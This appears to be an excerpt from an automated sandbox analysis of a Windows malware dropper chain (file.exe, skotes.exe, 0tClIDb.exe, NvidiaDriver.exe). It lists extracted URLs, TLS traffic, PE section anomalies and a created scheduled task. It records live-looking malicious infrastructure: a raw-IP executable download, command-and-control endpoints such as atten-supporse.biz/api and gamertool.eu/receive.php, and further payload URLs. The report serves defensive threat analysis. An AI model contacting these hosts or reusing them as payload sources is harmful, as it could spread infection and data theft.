Source: skotes.exe, 00000006.00000002.2887135078.00000000014F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/806475321/0tClIDb.exeso~
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 0tClIDb.exe, 00000007.00000003.2540607901.00000000058C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 0tClIDb.exe, 00000007.00000003.2540144728.0000000005891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 0tClIDb.exe, 00000007.00000003.2515717399.00000000058A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/J
Source: 0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/Y
Source: 0tClIDb.exe, 0tClIDb.exe, 00000007.00000003.2588731287.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2605626980.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2627785152.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api2
Source: 0tClIDb.exe, 00000007.00000003.2588731287.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api;
Source: 0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apidjd
Source: 0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiu(
Source: 0tClIDb.exe, 00000007.00000003.2491353787.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/g
Source: 0tClIDb.exe, 00000007.00000002.2679805098.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/z
Source: 0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 0tClIDb.exe, 00000007.00000002.2686408044.0000000005890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu
Source: 0tClIDb.exe, 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678870606.000000000589A000.00000004.00000800.00020000.00000000.sdmp, 9DNEMG3H6COYF8VY.exe, 00000009.00000000.2678750378.0000000000722000.00000002.00000001.01000000.0000000A.sdmp, InternetDriver.exe.10.dr, NvidiaDriver.exe.9.dr, 9DNEMG3H6COYF8VY.exe.7.dr	String found in binary or memory: https://gamertool.eu/
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.00000000028A5000.00000004.00000800.00020000.00000000.sdmp, NvidiaDriver.exe, 0000000A.00000002.2886812760.00000000028FD000.00000004.00000800.00020000.00000000.sdmp, NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/GmdDriver.exe
Source: 0tClIDb.exe, 0tClIDb.exe, 00000007.00000003.2679422553.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2678931983.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2679970453.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/LKSM.exe
Source: 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/LKSM.exe9G
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002894000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/get_file.php
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/get_updatT
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp, NvidiaDriver.exe, 0000000A.00000002.2886812760.00000000028FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/get_update.php
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/receive.php
Source: 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/s
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002841000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/t
Source: 0tClIDb.exe, 00000007.00000003.2679176807.0000000000C8F000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2679265681.0000000000C94000.00000004.00000020.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000002.2680112997.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/v
Source: NvidiaDriver.exe, 0000000A.00000002.2886812760.0000000002CBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.euD
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: 0tClIDb.exe, 00000007.00000003.2542023162.0000000005891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0tClIDb.exe, 00000007.00000002.2686408044.0000000005890000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdva
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837425187.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837555765.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/9
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836935313.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837579232.00000000014E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/api
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837425187.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apin
Source: 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836534642.0000000001495000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000003.2836770077.00000000014DC000.00000004.00000020.00020000.00000000.sdmp, 184f72cd859c47b29124ab7c76766326.exe, 0000000D.00000002.2837555765.00000000014DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/h
Source: 0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 0tClIDb.exe, 00000007.00000003.2515793658.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2515650753.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492460365.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 0tClIDb.exe, 00000007.00000003.2492460365.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 0tClIDb.exe, 00000007.00000003.2515793658.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2515650753.00000000058E8000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492403856.00000000058EF000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492460365.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 0tClIDb.exe, 00000007.00000003.2492460365.00000000058C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0tClIDb.exe, 00000007.00000003.2491707585.00000000058DC000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2491793155.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 0tClIDb.exe, 00000007.00000003.2541679667.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.9.168:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.9.168:443 -> 192.168.2.4:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.81.153:443 -> 192.168.2.4:49886 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name:
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: .idata
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name:
Source: 0tClIDb.exe.6.dr	Static PE information: section name:
Source: 0tClIDb.exe.6.dr	Static PE information: section name: .idata
Source: 0tClIDb.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ADCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00ADCB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D7049	0_2_004D7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D8860	0_2_004D8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D78BB	0_2_004D78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D31A8	0_2_004D31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005A7B6E	0_2_005A7B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00494B30	0_2_00494B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D2D10	0_2_004D2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00494DE0	0_2_00494DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C7F36	0_2_004C7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D779B	0_2_004D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B078BB	1_2_00B078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B08860	1_2_00B08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B07049	1_2_00B07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B031A8	1_2_00B031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AC4B30	1_2_00AC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AC4DE0	1_2_00AC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B02D10	1_2_00B02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00B0779B	1_2_00B0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AF7F36	1_2_00AF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B078BB	2_2_00B078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B08860	2_2_00B08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B07049	2_2_00B07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B031A8	2_2_00B031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AC4B30	2_2_00AC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AC4DE0	2_2_00AC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B02D10	2_2_00B02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B0779B	2_2_00B0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AF7F36	2_2_00AF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ACE530	6_2_00ACE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE6192	6_2_00AE6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B08860	6_2_00B08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC4B30	6_2_00AC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC4DE0	6_2_00AC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B02D10	6_2_00B02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE0E13	6_2_00AE0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B07049	6_2_00B07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B031A8	6_2_00B031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE1602	6_2_00AE1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B0779B	6_2_00B0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00B078BB	6_2_00B078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE3DF1	6_2_00AE3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AF7F36	6_2_00AF7F36
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
